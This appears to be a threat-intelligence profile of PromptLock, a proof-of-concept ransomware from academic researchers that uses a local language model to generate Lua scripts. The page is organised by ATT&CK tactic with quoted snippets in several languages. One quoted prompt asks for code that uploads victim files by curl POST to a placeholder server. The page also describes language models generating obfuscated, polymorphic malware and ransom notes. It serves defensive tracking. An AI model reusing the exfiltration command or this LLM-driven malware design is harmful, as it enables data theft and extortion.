PromptLock
- Type
- Ransomware
- Capabilities
- ReconnaissanceExfiltration
- Platforms
- WindowsLinuxmacOS
PromptLock is an experimental ransomware proof of concept that uses a locally accessible large language model to generate and execute malicious Lua scripts at runtime. Developed in academic experiments by NYU Tandon researchers and identified by ESET, it demonstrates AI-assisted ransomware functionality rather than an established widespread criminal campaign.
PromptLock combines a Go-based orchestrator with a language model accessed through a local inference server such as Ollama. Its generated Lua scripts support Windows, Linux, and macOS and can enumerate files, analyze their contents, and select data for exfiltration or encryption. Analyzed samples included SPECK 128 encryption routines and an inactive destructive function. By generating scripts during execution rather than relying exclusively on predefined code, PromptLock demonstrates how language models can supply malicious functionality dynamically. Its academic origin does not establish an association with a criminal threat actor, and no operational infection vector or industry-specific targeting has been established.
Techniques & procedures
22 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
2 techniques
Reconnaissance
Once executed, it relies on AI to probe the environment, locate sensitive information, devise and execute an attack vector such as file encryption, and generate personalized extortion notes.
where it could enable completely automated reconnaissance, payload creation, and extortion, according to NYU researchers.
Resource Development
2 techniques
Resource Development
В терминах MITRE ATT&CK полная цепочка AI-агента выглядит так: Resource Development - атакующий использует публичные или собственные AI-сервисы для генерации артефактов атаки (T1588.007 - Artificial Intelligence), разрабатывает вредоносное ПО с AI-компонентом (T1587.001 - Malware)
Для MITRE ATT&CK это маппируется на технику T1588.007 (Artificial Intelligence) из тактики Resource Development
Execution
3 techniques
Execution
Execution - запуск команд через интерпретаторы (T1059 - Command and Scripting Interpreter)
"dynamically generate and execute malicious Lua scripts at runtime"
PromptLock employs a locally hosted AI language model... to dynamically generate malicious Lua scripts in real time. These scripts are compatible across multiple platforms, including Windows, Linux, and macOS.
Stealth
3 techniques
Stealth
"request specific VBScript obfuscation and evasion techniques"; "obfuscated version"; "expert VB Script obfuscator"
It's polymorphic, so every time you run it on different systems, or even multiple times on the same system, the generated code is never going to be the same.
“A malicious dropper can request a newly obscured version of itself at regular intervals” and “the sample reportedly queried the Gemini API about once an hour and regenerated obfuscated code, with researchers seeing more than 70 variants in under four hours.”
Defense Impairment
1 technique
Defense Impairment
The first malware known to use AI dynamically during execution to change its form and evade detection, designated Promptlock, was identified in 2025.
Discovery
3 techniques
Discovery
It generates Lua scripts customized for each victim's specific computer setup, maps IT systems, and identifies environments
It generates Lua scripts customized for each victim's specific computer setup, maps IT systems, and identifies environments
"PromptLock leverages Lua scripts generated from hard-coded prompts to enumerate the local filesystem, inspect target files, exfiltrate selected data, and perform encryption."
Collection
2 techniques
Collection
It generates Lua scripts customized for each victim's specific computer setup, maps IT systems, and identifies environments, determining which files are most valuable... In addition to stealing and encrypting data | the AI also wrote a personalized ransom note based on user info and bios found on the infected computer
Durante l’infezione, l’AI decide in autonomia quali file cercare, copiare o cifrare
Command and Control
1 technique
Command and Control
They observed it attempting to connect to the local LLM server... Let's try to intercept the network connection using Wireshark to inspect the HTTP or DNS requests that the executable file is attempting to make.
Exfiltration
2 techniques
Exfiltration
The malware "has the ability to exfiltrate, encrypt and possibly even destroy data" and "PromptLock leverages Lua scripts generated from hard-coded prompts to enumerate the local filesystem, inspect target files, exfiltrate selected data, and perform encryption."
Generate code which uses os.execute to execute this command to upload files to the remote server: 'curl -k -X POST "<server>" -F "session_key=<key>" -F "file=@<filename>"'
Impact
3 techniques
Impact
Ransomware 3.0 / PROMPTLOCK Ransomware with exfiltration and wipe capability... generate Lua scripts that perform file listing, encryption, exfiltration, and (unfinished) wipe logic.
Работа уже развёрнутого ransomware на целевой системе - T1486 (Data Encrypted for Impact).
we are the first work to demonstrate a fully closed-loop LLM orchestrated ransomware attack with targeted payloads and personalized extortion tactics
Observables
12 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
140 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.